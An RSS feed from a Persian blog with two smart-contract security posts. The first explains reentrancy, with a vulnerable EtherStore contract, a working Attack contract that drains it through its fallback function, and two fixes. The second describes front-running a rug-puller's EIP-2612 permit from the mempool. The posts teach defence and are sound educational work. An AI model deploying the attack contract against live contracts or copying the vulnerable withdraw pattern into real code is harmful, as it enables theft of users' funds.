<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های پرهام</title>
        <link>https://virgool.io/feed/@phrmSol</link>
        <description></description>
        <language>fa</language>
        <pubDate>2026-06-19 12:14:02</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/1495720/avatar/vwd8Dy.png?height=120&amp;width=120</url>
            <title>پرهام</title>
            <link>https://virgool.io/@phrmSol</link>
        </image>

                    <item>
                <title>امنیت قرارداد هوشمند | ری اینترنسی (Reentrancy)</title>
                <link>https://virgool.io/payapay/%D8%A7%D9%85%D9%86%DB%8C%D8%AA-%D9%82%D8%B1%D8%A7%D8%B1%D8%AF%D8%A7%D8%AF-%D9%87%D9%88%D8%B4%D9%85%D9%86%D8%AF-%D8%B1%DB%8C-%D8%A7%DB%8C%D9%86%D8%AA%D8%B1%D9%86%D8%B3%DB%8C-reentrancy-w8i9gozezmfu</link>
                <description>امنیت قرارداد هوشمند | ری اینترنسی (Reentrancy)ری اینترنسی (Reentrancy) چیست؟    در هر قرارداد هوشمندی تابعی تحت عنوان fallback وجود دارد که این تابع به شکل خودکار با ارسال اتر،       بی ان بی و ... (msg.value)  به هر کانترک توسط EVM (Ethereum Virtual Machine) اجرا می شود. برنامه نویس قرارداد هوشمند میتواند داخل این تابع را به هر شکلی که مایل است پیاده سازی کند.    در این آسیب پذیری قرارداد های هوشمند، که به واسطه همین تابع fallback به وجود می آید، قراردادی به نحوی موظف به ارسال مقداری اتر به کانترکتی دیگر می شود و تابع fallback در کانترکتی که اتر را دریافت می کند اجرا می شود.شما کلی آسیب پذیری ری اینترنسی    با توجه به شکل بالا بیایید در نظر داشته باشیم که کانترکت سمت راست (گاوصندوق)، کانترکتی است که افراد می توانند در آن اتر های خود را ذخیره کنند و هر زمان که خواستند آن ها را برداشت کنند.بدیهی است که کانترکت جوری نوشته شده است که هر کس توانایی برداشت دارایی از پیش گذاشته شده خود را داشته باشد.(بدون ری اینترنسی)    کانترکت سمت چپ (مهاجم)، در ابتدا مقداری اتر در گاوصندوق ذخیره می کند سپس اقدام به برداشت آن می کند و هنگامی که گاوصندوق اتر های مهاجم را برای آن ارسال می کند، تابع fallback در مهاجم توسط EVM به شکل خودکار اجرا می شود و با توجه به اینکه ما در تابع fallback  این کانترکت مجددا درخواست برداشت دارایی را ثبت کردیم، بدون اینکه میزان دارایی ما در گاوصندوق بروز بشود، گاوصندوق مجددا برای ما اتر ارسال می کند. https://www.aparat.com/v/NYAT5 مرحله به مرحلهکانترکت B کانترکت مهاجم، که در گذشته مقدار 1 اتر در کانترکت A (گاوصندوق) ذخیره کرده است.1- کال کردن تابع withdraw کانترکت A توسط کانترکت B2-چک کردن موجودی کانترکت B در تابع withdraw کانترکت A3-ارسال اتر بعد از چک کردن موجودی4-اجرا شدن تابع fallback کانترکت B و کال کردن تابع withdraw کانترکت A بعد از دریافت اتر از آن5-اجرا شدن مجدد تابع withdraw کانترکت A پیش از بروز کردن موجودی کانترکت B در داخل A6-ارسال مجدد اتر برای کانترکت Bاین روند آنقدر ادامه پیدا خواهد کرد تا کانترکت A دیگر اتری برای ارسال نداشته باشد.لازم به ذکر است که قرارداد های نشان داده شده ساختگی و برای درک بهتر مطلب است.سورس کد های کامل قرارداد ها// SPDX-License-Identifier: MITpragma solidity ^0.8.10;

//Ether Store contract (A)
contract EtherStore {
mapping(address =&gt; uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal &gt; 0);
(bool sent, ) = msg.sender.call{value: bal}(&amp;quot&amp;quot);
require(sent, &amp;quotFailed to send Ether&amp;quot);
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}

//Attacker contract (B)
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
fallback() external payable {
if (address(etherStore).balance &gt;= 1 ether) {
etherStore.withdraw();
    }
}
function attack() external payable {
require(msg.value &gt;= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}روش های جلوگیری از این آسیب پذیریبه روز کردن موجودی فرد متقاضی، پیش از ارسال اتر به او.استفاده کردن از modifier برای تابع withdraw .در سالیدیتی هنگامی که از modifier برای تابعی استفاده می کنیم، EVM پیش از ورود به تابع موارد داخل modifier را برسی می کند و اگر شروط برقرار باشند به تابع ورود و در غیر این صورت تراکنش را revert می کند.سورس کد های جلوگیری از آسیب پذیری ری اینترنسی// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
//////////////////////////////////////////////First Solution//////////////////////////////////////////////
contract EtherStore {
mapping(address =&gt; uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal &gt; 0);
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: bal}(&amp;quot&amp;quot);
require(sent, &amp;quotFailed to send Ether&amp;quot);
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
//////////////////////////////////////////////Seccond Solution//////////////////////////////////////////////contract EtherStore {

mapping(address =&gt; uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
bool internal locked;
modifier noReentrant() {
require(!locked, &amp;quotNo RE-entrancy!&amp;quot);
locked = true;
_;
locked = false;
}
function withdraw() public noReentrant {
uint bal = balances[msg.sender];
require(bal &gt; 0);
(bool sent, ) = msg.sender.call{value: bal}(&amp;quot&amp;quot);
require(sent, &amp;quotFailed to send Ether&amp;quot);
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}توضیحات تکمیلی را در این ویدیو تماشا کنید https://www.aparat.com/v/6ofuM  https://www.aparat.com/v/NYAT5  https://aparat.com/v/6ofuM </description>
                <category>پرهام</category>
                <author>پرهام</author>
                <pubDate>Wed, 09 Feb 2022 21:28:16 +0330</pubDate>
            </item>
                    <item>
                <title>روشی برای جلوگیری از راگ پول (Rug Pull) ها!</title>
                <link>https://virgool.io/payapay/%D8%A7%D8%B2-%D8%B1%D8%A7%DA%AF-%D9%BE%D9%88%D9%84-rug-pull-%D8%AC%D8%A7%D9%86-%D8%B3%D8%A7%D9%84%D9%85-%D8%A8%D9%87-%D8%AF%D8%B1-%D8%A8%D8%A8%D8%B1%DB%8C%D8%AF-fpgmhmnt468r</link>
                <description>     راگ پول ها در DEX ها یا همان صرافی های غیر متمرکز گسترش چشمگیری پیدا کرده است، در قرارداد های هوشمند این صرافی ها روش هایی (methods) وجود دارد که با permit یا مجوز کار می کنند و همین permit ها که از استاندارد EIP-2612 استفاده می کنند  راهی برای جلوگیری از راگ پول ها هستند اما چطور؟صرافی های غیر متمرکز از اسمارت کانترکت های مختلفی برای انجام امور مختلفشان استفاده می کنند:Factory ContractsRouter ContractsLP-Tokens Contractمن در این مقاله از یونی سواپ برای توضیحاتم استفاده کردم اما به دلیل مشترک بودن سورس کد های آن با پنکیک سواپ و دیگر فورک های آن این توضیحات بر روی آن ها نیز صادق است.هنگامی که می خواهید نقدینگی که در گذشته در یونی سواپ تأمین کرده اید را برداشت کنید با توجه به روش های موجود در کانترکت Router آن ملزم به استفاده از :removeLiquidityWithPermitremoveLiquidityETHWithPermitدر سمت فرانت اند هستید که شامل 3 مرحله است :تفاوت removeLiquidityWithPermit و removeLiquidityETHWithPermit در خارج کردن نقدینگی از استخر های ERC20-ERC20 و ERC20-ETH است.در ابتدا کاربر متقاضی یک مجوز را امضا می کند که به کانترکت Router این اجازه را می دهد که LP-Token ها را خرج کند (استفاده از permit استاندارد EIP-2612) سپس متود removeLiquidityETHWithPermit یا removeLiquidityWithPermit کانترکت Router را فراخوانی می کند.کانترکت Router مجوز گرفته شده از سوی متقاضی را در کانترکت LP-Tokens قرار می هد و امکان خرج کردن LP-Token ها را می گیرد.در این مرحله کانترکت Router میتواند LP-Token ها را از ولت متقاضی خارج کرده و توکن های موجود در استخر نقدینگی را آزاد و به ولت او ارسال کند.function removeLiquidityETHWithPermit( 
address token, 
uint liquidity, 
uint amountTokenMin, 
uint amountETHMin, 
address to, 
uint deadline, 
bool approveMax, uint8 v, bytes32 r, bytes32 s   
 ) external virtual override returns (uint amountToken, uint amountETH) { address pair = UniswapV2Library.pairFor(factory, token, WETH); 
uint value = approveMax ? uint(-1) : liquidity; IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);       
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);   
}
    استفاده از permit در سورس کد یونی سواپ    همانطور که گفته شد با در دست داشتن مجوزی که کاربر در اختیار کانترکت Router قرار می دهد امکان ثبت کردن آن در کانترکت LP-Tokens برای تمامی کسایی که آن مجوز را دارند وجود دارد و دقیقا کاربرد استفاده از EIP-2612 نیز همین است.    راهکاری که اینجا به وجود می آید این است که اگر بتوانید تراکنشی که در آن راگ پولر می خواهد تمامی نقدینگی را از کانترکت خارج کند را در ممپول (mempool) بیابید و مجوز (permit) را از آرگومان های ورودی توابع  removeLiquidityETHWithPermit یا removeLiquidityWithPermit در قسمت داده های تراکنش خارج سازید، می توانید پیش از راگ پولر خودتان آن مجوز را در کانترکت LP-Tokens ثبت نمایید و جلوی خارج شدن نقدینگی توسط راگ پولر را بگیرید. اما چطور؟    دلیل تایید نشدن تراکنش راگ پولر بعد از انجام این کار بی اعتبار شدن مجوز ساخته شده توسط راگ پولر هست چرا که نانسی (nonce) که در ساخت مجوز توسط راگ پولر استفاده شده بود توسط شما در کانترکت ثبت و تکراری شده است و راگ پولر ملزم به از سر گیری تمامی مراحل فوق می شود.تراکنش تایید نشده راگ پولربعد از این کار شما مدتی زمان خواهید داشت تا توکن هایتان را بفروشید و پولتان را از کانترکت خارج کنید.</description>
                <category>پرهام</category>
                <author>پرهام</author>
                <pubDate>Mon, 07 Feb 2022 16:38:40 +0330</pubDate>
            </item>
            </channel>
</rss>